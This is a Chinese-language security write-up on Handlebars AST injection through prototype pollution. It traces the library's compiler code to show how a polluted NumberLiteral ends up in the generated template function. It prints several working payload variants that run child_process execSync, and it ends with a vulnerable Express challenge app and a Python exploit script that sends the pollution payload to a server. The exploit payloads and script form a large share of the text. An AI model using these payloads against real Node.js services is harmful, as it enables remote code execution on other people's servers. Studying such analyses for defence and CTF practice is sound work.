| 作者 | 修订时间 |
|---|---|
| 2025-10-14 20:53:34 |
Handlebars AST注入 配合原型链污染
详细分析Handlebars AST注入
原理图
handlebars的parser在解析NumberLiteral类型的字符串时会使用Number()函数进行强制转换,正常情况下这个字符串只能数字,但是用过原型链污染我们可以构造一个非数字型的字符串
// node_modules\handlebars\dist\cjs\handlebars\compiler\parser.js
case 35:
this.$ = { type: 'StringLiteral', value: $$[$0], original: $$[$0], loc: yy.locInfo(this._$) };
break;
case 36:
this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
break;
在将AST编译为函数时,handlebars用pushString将字符串传到opcode中,用pushLiteral将数字和布尔值传入到opcode中,而这个opcode就是之后用来构造模板函数的,Literal类型在AST中表示变量的意思,具体可以参考Esprima语法树标准,所以我们下面我们能够利用的类型有NumberLiteral和BooleanLiteral
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js
StringLiteral: function StringLiteral(string) {
this.opcode('pushString', string.value); // 字符串使用pushString
},
NumberLiteral: function NumberLiteral(number) {
this.opcode('pushLiteral', number.value); // 数字使用pushLiteral
},
BooleanLiteral: function BooleanLiteral(bool) {
this.opcode('pushLiteral', bool.value); // 布尔值使用pushLiteral
},
UndefinedLiteral: function UndefinedLiteral() {
this.opcode('pushLiteral', 'undefined');
},
opcode: function opcode(name) {
this.opcodes.push({
opcode: name,
args: slice.call(arguments, 1),
loc: this.sourceNode[0].loc
});
},
那么我们如何调用这些函数呢,handlebars在编译语法树时会调用一个叫accept的函数来处理我们的语法树节点,他会调用node.type对应的构造函数来修改opcode,所以我们的重点也可以转换成如何控制accept(node)中node值,且保证解析流程正常进行
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js
accept: function accept(node) {
/* istanbul ignore next: Sanity code */
if (!this[node.type]) {
throw new _exception2['default']('Unknown type: ' + node.type, node);
}
this.sourceNode.unshift(node);
var ret = this[node.type](node); // 调用node.type对应的构造函数
this.sourceNode.shift();
return ret;
},
Payload
原文作者采用的payload
Copy successfullyconst Handlebars = require('handlebars');
Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"loc": {
"start": 0
}
}];
var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
大概流程:
- 将
type修改为Program绕过Lexer解析 - 污染
Program中的body,注入自定义的AST - 在
compiler.js文件中找到可用Gadget,此Gadget能够控制accept(node)中node值,原文作者利用的是MustacheStatement
漏洞分析
调用栈
compiler.js/ret()
compiler.js/compileInput()
base.js/parse()
base.js/parseWithoutProcessing()
visitor.js/accept()
compiler.js/compile()
compiler.js/accept()
compiler.js/Program()
compiler.js/MustacheStatement()
compiler.js/NumberLiteral() <-- 注入payload
javascript-compiler.js/compile()
javascript-compiler.js/createFunctionContext <-- 生成模板函数体
handlebars.runtime.js/create()
runtime.js/ret()
runtime.js/executeDecorators()
anonymous/templateSpec.main()
解析入口
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js
function ret(context, execOptions) {
if (!compiled) {
compiled = compileInput(); // 编译输入
}
return compiled.call(this, context, execOptions);
}
解析AST
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js
function compileInput() {
var ast = env.parse(input, options), // 获取语法树
environment = new env.Compiler().compile(ast, options),
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);
return env.template(templateSpec);
}
语法树解析
// node_modules\handlebars\dist\cjs\handlebars\compiler\base.js
function parse(input, options) {
var ast = parseWithoutProcessing(input, options); // 转化为AST
var strip = new _whitespaceControl2['default'](options);
return strip.accept(ast); // 解析AST
}
这里的重点是将input.type污染为Program,从而绕过AST的转换阶段
// node_modules\handlebars\dist\cjs\handlebars\compiler\base.js
function parseWithoutProcessing(input, options) {
// Just return if an already-compiled AST was passed in.
if (input.type === 'Program') { // 如果已经是转换好的AST就直接返回
return input;
}
_parser2['default'].yy = yy;
// Altering the shared object here, but this is ok as parser is a sync operation
yy.locInfo = function (locInfo) {
return new yy.SourceLocation(options && options.srcName, locInfo);
};
var ast = _parser2['default'].parse(input); // 否则就调用Lexer解析节点生成AST
return ast;
}
这里是递归解析语法树
// node_modules\handlebars\dist\cjs\handlebars\compiler\visitor.js
accept: function accept(object) {
if (!object) {
return;
}
/* istanbul ignore next: Sanity code */
if (!this[object.type]) {
throw new _exception2['default']('Unknown type: ' + object.type, object);
}
if (this.current) {
this.parents.unshift(this.current);
}
this.current = object;
var ret = this[object.type](object); // 调用对应的构造函数解析AST
this.current = this.parents.shift();
if (!this.mutating || ret) {
return ret;
} else if (ret !== false) {
return object;
}
},
编译环境变量
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js
function compileInput() {
var ast = env.parse(input, options),
environment = new env.Compiler().compile(ast, options), // 编译环境变量
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);
return env.template(templateSpec);
}
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js
compile: function compile(program, options) {
this.sourceNode = [];
this.opcodes = [];
this.children = [];
this.options = options;
this.stringParams = options.stringParams;
this.trackIds = options.trackIds;
options.blockParams = options.blockParams || [];
options.knownHelpers = _utils.extend(Object.create(null), {
helperMissing: true,
blockHelperMissing: true,
each: true,
'if': true,
unless: true,
'with': true,
log: true,
lookup: true
}, options.knownHelpers);
return this.accept(program); // 传入accept函数进行处理
},
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js
accept: function accept(node) {
/* istanbul ignore next: Sanity code */
if (!this[node.type]) {
throw new _exception2['default']('Unknown type: ' + node.type, node);
}
this.sourceNode.unshift(node);
var ret = this[node.type](node); // 提取AST对应的type并调用该构造函数
this.sourceNode.shift();
return ret;
},
第一次node.type被污染为program
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js
Program: function Program(program) { // 利用Program类来自定义类
this.options.blockParams.unshift(program.blockParams);
var body = program.body, // 通过污染body插入我们的恶意代码
bodyLength = body.length;
for (var i = 0; i < bodyLength; i++) {
this.accept(body[i]); // 提取我们的body继续调用accept进行解析
}
this.options.blockParams.shift();
this.isSimple = bodyLength === 1;
this.blockParams = program.blockParams ? program.blockParams.length : 0;
return this;
},
第二次node.type为自定义的MustacheStatement
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js
MustacheStatement: function MustacheStatement(mustache) {
this.SubExpression(mustache); // 1
if (mustache.escaped && !this.options.noEscape) {
this.opcode('appendEscaped');
} else {
this.opcode('append'); // 如果没有设置escaped的话就进行append操作
}
},
SubExpression: function SubExpression(sexpr) {
transformLiteralToPath(sexpr);
var type = this.classifySexpr(sexpr);
if (type === 'simple') {
this.simpleSexpr(sexpr);
} else if (type === 'helper') {
this.helperSexpr(sexpr); // 2
} else {
this.ambiguousSexpr(sexpr);
}
},
helperSexpr: function helperSexpr(sexpr, program, inverse) {
var params = this.setupFullMustacheParams(sexpr, program, inverse), // 3
path = sexpr.path,
name = path.parts[0];
if (this.options.knownHelpers[name]) {
this.opcode('invokeKnownHelper', params.length, name);
} else if (this.options.knownHelpersOnly) {
throw new _exception2['default']('You specified knownHelpersOnly, but used the unknown helper ' + name, sexpr);
} else {
path.strict = true;
path.falsy = true;
this.accept(path);
this.opcode('invokeHelper', params.length, path.original, _ast2['default'].helpers.simpleId(path));
}
},
setupFullMustacheParams: function setupFullMustacheParams(sexpr, program, inverse, omitEmpty) {
var params = sexpr.params;
this.pushParams(params); // 4
this.opcode('pushProgram', program);
this.opcode('pushProgram', inverse);
if (sexpr.hash) {
this.accept(sexpr.hash);
} else {
this.opcode('emptyHash', omitEmpty);
}
return params;
},
pushParams: function pushParams(params) {
for (var i = 0, l = params.length; i < l; i++) {
this.pushParam(params[i]); // 5
}
},
pushParam: function pushParam(val) {
var value = val.value != null ? val.value : val.original || '';
if (this.stringParams) {
if (value.replace) {
value = value.replace(/^(\.?\.\/)*/g, '').replace(/\//g, '.');
}
if (val.depth) {
this.addDepth(val.depth);
}
this.opcode('getContext', val.depth || 0);
this.opcode('pushStringParam', value, val.type);
if (val.type === 'SubExpression') {
// SubExpressions get evaluated and passed in
// in string params mode.
this.accept(val);
}
} else {
if (this.trackIds) {
var blockParamIndex = undefined;
if (val.parts && !_ast2['default'].helpers.scopedId(val) && !val.depth) {
blockParamIndex = this.blockParamIndex(val.parts[0]);
}
if (blockParamIndex) {
var blockParamChild = val.parts.slice(1).join('.');
this.opcode('pushId', 'BlockParam', blockParamIndex, blockParamChild);
} else {
value = val.original || value;
if (value.replace) {
value = value.replace(/^this(?:\.|$)/, '').replace(/^\.\//, '').replace(/^\.$/, '');
}
this.opcode('pushId', val.type, value);
}
}
this.accept(val); // 6 很巧妙地将我们的payload再次传入accept函数
}
},
第三次node.type为NumberLiteral
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js
StringLiteral: function StringLiteral(string) {
this.opcode('pushString', string.value);
},
NumberLiteral: function NumberLiteral(number) {
this.opcode('pushLiteral', number.value); // 将我们的payload识别为Literal而直接转进构造函数
},
BooleanLiteral: function BooleanLiteral(bool) {
this.opcode('pushLiteral', bool.value);
},
UndefinedLiteral: function UndefinedLiteral() {
this.opcode('pushLiteral', 'undefined');
},
后面还有一系列对opcode的操作,均为MustacheStatement语法树的编译过程,下图是编译好MustacheStatement语法树之后opcodes的全部操作,而我们的payload就被注入了第一个
编译模板
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js
function compileInput() {
var ast = env.parse(input, options),
environment = new env.Compiler().compile(ast, options),
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true); // 将我们的环境变量传进去来编译templateSpec
return env.template(templateSpec);
}
// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js
compile: function compile(environment, options, context, asObject) {
this.environment = environment;
this.options = options;
this.stringParams = this.options.stringParams;
this.trackIds = this.options.trackIds;
this.precompile = !asObject;
this.name = this.environment.name;
this.isChild = !!context;
this.context = context || {
decorators: [],
programs: [],
environments: []
};
this.preamble();
this.stackSlot = 0;
this.stackVars = [];
this.aliases = {};
this.registers = { list: [] };
this.hashes = [];
this.compileStack = [];
this.inlineStack = [];
this.blockParams = [];
this.compileChildren(environment, options);
this.useDepths = this.useDepths || environment.useDepths || environment.useDecorators || this.options.compat;
this.useBlockParams = this.useBlockParams || environment.useBlockParams;
var opcodes = environment.opcodes,
opcode = undefined,
firstLoc = undefined,
i = undefined,
l = undefined;
for (i = 0, l = opcodes.length; i < l; i++) {
opcode = opcodes[i];
this.source.currentLocation = opcode.loc;
firstLoc = firstLoc || opcode.loc;
this[opcode.opcode].apply(this, opcode.args); // 这里就是使用我们opcode的操作,然后会把结果存到this.source.SourceNode中
}
// Flush any trailing content that might be pending.
this.source.currentLocation = firstLoc;
this.pushSource('');
/* istanbul ignore next */
if (this.stackSlot || this.inlineStack.length || this.compileStack.length) {
throw new _exception2['default']('Compile completed with content left on stack');
}
if (!this.decorators.isEmpty()) {
this.useDecorators = true;
this.decorators.prepend(['var decorators = container.decorators, ', this.lookupPropertyFunctionVarDeclaration(), ';\n']);
this.decorators.push('return fn;');
if (asObject) {
this.decorators = Function.apply(this, ['fn', 'props', 'container', 'depth0', 'data', 'blockParams', 'depths', this.decorators.merge()]);
} else {
this.decorators.prepend('function(fn, props, container, depth0, data, blockParams, depths) {\n');
this.decorators.push('}\n');
this.decorators = this.decorators.merge();
}
} else {
this.decorators = undefined;
}
var fn = this.createFunctionContext(asObject); // 创建模板的函数体
if (!this.isChild) {
var ret = {
compiler: this.compilerInfo(),
main: fn
};
if (this.decorators) {
ret.main_d = this.decorators; // eslint-disable-line camelcase
ret.useDecorators = true;
}
var _context = this.context;
var programs = _context.programs;
var decorators = _context.decorators;
for (i = 0, l = programs.length; i < l; i++) {
if (programs[i]) {
ret[i] = programs[i];
if (decorators[i]) {
ret[i + '_d'] = decorators[i];
ret.useDecorators = true;
}
}
}
if (this.environment.usePartial) {
ret.usePartial = true;
}
if (this.options.data) {
ret.useData = true;
}
if (this.useDepths) {
ret.useDepths = true;
}
if (this.useBlockParams) {
ret.useBlockParams = true;
}
if (this.options.compat) {
ret.compat = true;
}
if (!asObject) {
ret.compiler = JSON.stringify(ret.compiler);
this.source.currentLocation = { start: { line: 1, column: 0 } };
ret = this.objectLiteral(ret);
if (options.srcName) {
ret = ret.toStringWithSourceMap({ file: options.destName });
ret.map = ret.map && ret.map.toString();
} else {
ret = ret.toString();
}
} else {
ret.compilerOptions = this.options;
}
return ret;
} else {
return fn;
}
},
执行opcode中pushLiteral的具体实现流程
// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js
// [pushLiteral]
//
// On stack, before: ...
// On stack, after: value, ...
//
// Pushes a value onto the stack. This operation prevents
// the compiler from creating a temporary variable to hold
// it.
pushLiteral: function pushLiteral(value) { // 注释也已经很清楚了
this.pushStackLiteral(value);
},
pushStackLiteral: function pushStackLiteral(item) {
this.push(new Literal(item));
},
function Literal(value) {
this.value = value;
}
push: function push(expr) {
if (!(expr instanceof Literal)) {
expr = this.source.wrap(expr);
}
this.inlineStack.push(expr);
return expr;
},
在执行最后的append操作的时候会将inlineStack中的内容pop出来加入到Source中
// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js
append: function append() {
if (this.isInline()) {
this.replaceStack(function (current) {
return [' != null ? ', current, ' : ""'];
});
this.pushSource(this.appendToBuffer(this.popStack()));
} else {
var local = this.popStack();
this.pushSource(['if (', local, ' != null) { ', this.appendToBuffer(local, undefined, true), ' }']);
if (this.environment.isSimple) {
this.pushSource(['else { ', this.appendToBuffer("''", undefined, true), ' }']);
}
}
},
这里是创建函数体上下文,将source中的东西转换成字符串函数
// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js
createFunctionContext: function createFunctionContext(asObject) {
// istanbul ignore next
var _this = this;
var varDeclarations = '';
var locals = this.stackVars.concat(this.registers.list);
if (locals.length > 0) {
varDeclarations += ', ' + locals.join(', ');
}
// Generate minimizer alias mappings
//
// When using true SourceNodes, this will update all references to the given alias
// as the source nodes are reused in situ. For the non-source node compilation mode,
// aliases will not be used, but this case is already being run on the client and
// we aren't concern about minimizing the template size.
var aliasCount = 0;
Object.keys(this.aliases).forEach(function (alias) {
var node = _this.aliases[alias];
if (node.children && node.referenceCount > 1) {
varDeclarations += ', alias' + ++aliasCount + '=' + alias;
node.children[0] = 'alias' + aliasCount;
}
});
if (this.lookupPropertyFunctionIsUsed) {
varDeclarations += ', ' + this.lookupPropertyFunctionVarDeclaration();
}
var params = ['container', 'depth0', 'helpers', 'partials', 'data'];
if (this.useBlockParams || this.useDepths) {
params.push('blockParams');
}
if (this.useDepths) {
params.push('depths');
}
// Perform a second pass over the output to merge content when possible
var source = this.mergeSource(varDeclarations); // 把原本的source和varDeclarations拼接起来
if (asObject) {
params.push(source);
return Function.apply(this, params);
} else {
return this.source.wrap(['function(', params.join(','), ') {\n ', source, '}']); // 将source封装成函数
}
},
生成模板
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js
function compileInput() {
var ast = env.parse(input, options),
environment = new env.Compiler().compile(ast, options),
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);
return env.template(templateSpec); // 生成模板
}
// node_modules\handlebars\dist\cjs\handlebars.runtime.js
function create() {
var hb = new base.HandlebarsEnvironment();
Utils.extend(hb, base);
hb.SafeString = _handlebarsSafeString2['default'];
hb.Exception = _handlebarsException2['default'];
hb.Utils = Utils;
hb.escapeExpression = Utils.escapeExpression;
hb.VM = runtime;
hb.template = function (spec) {
return runtime.template(spec, hb);
};
return hb;
}
模板函数执行
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js
function ret(context, execOptions) {
if (!compiled) {
compiled = compileInput();
}
return compiled.call(this, context, execOptions); // 执行函数获取返回值
}
// node_modules\handlebars\dist\cjs\handlebars\runtime.js
function ret(context) {
var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
var data = options.data;
ret._setup(options);
if (!options.partial && templateSpec.useData) {
data = initData(context, data);
}
var depths = undefined,
blockParams = templateSpec.useBlockParams ? [] : undefined;
if (templateSpec.useDepths) {
if (options.depths) {
depths = context != options.depths[0] ? [context].concat(options.depths) : options.depths;
} else {
depths = [context];
}
}
function main(context /*, options*/) {
return '' + templateSpec.main(container, context, container.helpers, container.partials, data, blockParams, depths);
}
main = executeDecorators(templateSpec.main, main, container, options.depths || [], data, blockParams); // 对main函数进行装饰
return main(context, options); // 执行main函数
}
被污染的函数
(function anonymous(container,depth0,helpers,partials,data
) {
var stack1, lookupProperty = container.lookupProperty || function(parent, propertyName) {
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
return parent[propertyName];
}
return undefined
};
return ((stack1 = (lookupProperty(helpers,"undefined")||(depth0 && lookupProperty(depth0,"undefined"))||container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}),console.log(process.mainModule.require('child_process').execSync('calc.exe').toString()),{"name":"undefined","hash":{},"data":data,"loc":{"start":0,"end":0}})) != null ? stack1 : "");
})
总结
-
漏洞核心在于污染编译过程中的
pushLiteral操作,其中可以用到NumberLiteral类型和BooleanLiteral类型 -
令
type为Program绕过Lexer解析器,从compiler.js找到可用的Gadget -
在寻找
Gadget时注意保持语法树的栈平衡,不然会在编译的时候抛出如下错误,这也是为什么我们需要借助MustacheStatement类型注入我们的payload,而不能直接将NumberLiteral注入到body中/* istanbul ignore next */
if (this.stackSlot || this.inlineStack.length || this.compileStack.length) {
throw new _exception2['default']('Compile completed with content left on stack');
}
拓展
BooleanLiteral
将NumberLiteral替换为BooleanLiteral
const Handlebars = require('handlebars');
Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"params": [{
"type": "BooleanLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"path": 0,
"loc": { "start": 0 }
}];
var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
PartialStatement
将MustacheStatement改为PartialStatement
const Handlebars = require('handlebars');
Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "PartialStatement",
"name": "",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}]
}];
var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
PartialBlockStatement
将MustacheStatement改为PartialBlockStatement
const Handlebars = require('handlebars');
Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "PartialBlockStatement",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"name": 0,
"openStrip": 0,
"closeStrip": 0,
"program": { "body": 0 },
}];
var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
BlockStatement
将MustacheStatement改为BlockStatement
const Handlebars = require('handlebars');
Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "BlockStatement",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"path": 0,
"loc": 0,
"openStrip": 0,
"closeStrip": 0,
"program": { "body": 0 }
}];
var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
Decorator
触发点和上面的有所差异,这个是在装饰main函数的时候插入自定义代码
const Handlebars = require('handlebars');
Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "Decorator",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"path": 0,
"loc": { "start": 0 }
}];
var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
inf Hash
无限内嵌Hash类型
const Handlebars = require('handlebars');
Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"params": [{
"type": "Hash",
"pairs": [{
"value":{
"type": "Hash",
"pairs": [{
"value":{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}}]
}}]
}],
"path": 0,
"loc": { "start": 0 }
}];
var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
例题
const express = require('express');
const app = express();
const fs = require("fs")
const mergeValue = require("merge-value")
const bodyParser = require('body-parser')
const handlebars = require("handlebars");
app.use(bodyParser.json())
/*
"dependencies": {
"body-parser": "^1.19.0",
"express": "^4.17.1",
"merge-value": "^0.1.1",
"handlebars": "^4.7.7"
}
*/
app.post('/template', function (req, res) {
let defaultTemplate = {
"text": {
"title": "WriteUp"
},
"template": "{{this.title}}{{this.body}}",
"waf": {
"black1": "__proto__",
"black2": "programa"
}
}
//禁止覆盖原始的waf值
if(req.body.wafkey && req.body.wafdata) {
if (defaultTemplate["waf"][req.body.wafkey]) {
defaultTemplate["waf"]["custom" + req.body.wafkey] = req.body.wafdata[req.body.wafkey]
} else {
defaultTemplate["waf"][req.body.wafkey] = req.body.wafData[req.body.wafkey]
}
}
//取出所有的waf值
let waf = defaultTemplate["waf"]
let wafList = []
for(let wafWord in waf){
wafList.push(waf[wafWord])
}
for(let requestKey in req.body){
if(typeof req.body[requestKey] === 'string'){
for(let index in wafList){
if(req.body[requestKey].toLowerCase().endsWith(wafList[index])){
res.send("waf");
return;
}
}
}
}
let templateData = mergeValue(defaultTemplate,req.body.pathKey,req.body.data)
// console.log(templateData,defaultTemplate)
let template = handlebars.compile(templateData["template"]);
res.send(template(templateData["text"]));
});
app.get('/', function (req, res) {
res.send('see `/src`');
});
app.get('/src', function (req, res) {
var data = fs.readFileSync('index.js');
res.send(data.toString());
});
app.listen(3000, function () {
console.log('start listening on port 3000');
});
注意题目环境
{
"dependencies": {
"body-parser": "1.19.0",
"express": "4.17.1",
"handlebars": "4.7.6",
"merge-value": "1.0",
"mixin-deep": "^1.2.0",
"set-value": "^2.0.0"
}
}
这里可以通过 mergeValue 原型链污染,去污染 templateData["text"] 的__proto__ ,由于前面总结的很到位我这里就补充一下,这里是wp
import requests
payload = {
"__proto__": {
"type": "Program",
"body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('open -a Calculator').toString())"
}],
"loc": {
"start": 0
}
}]
}
}
url = "http://192.168.3.91:3000/template"
data = {
"pathKey": "text",
"data": payload
}
print(data)
text = requests.post(url, json=data,proxies={"http":"http://127.0.0.1:8080"})
print(text.text)


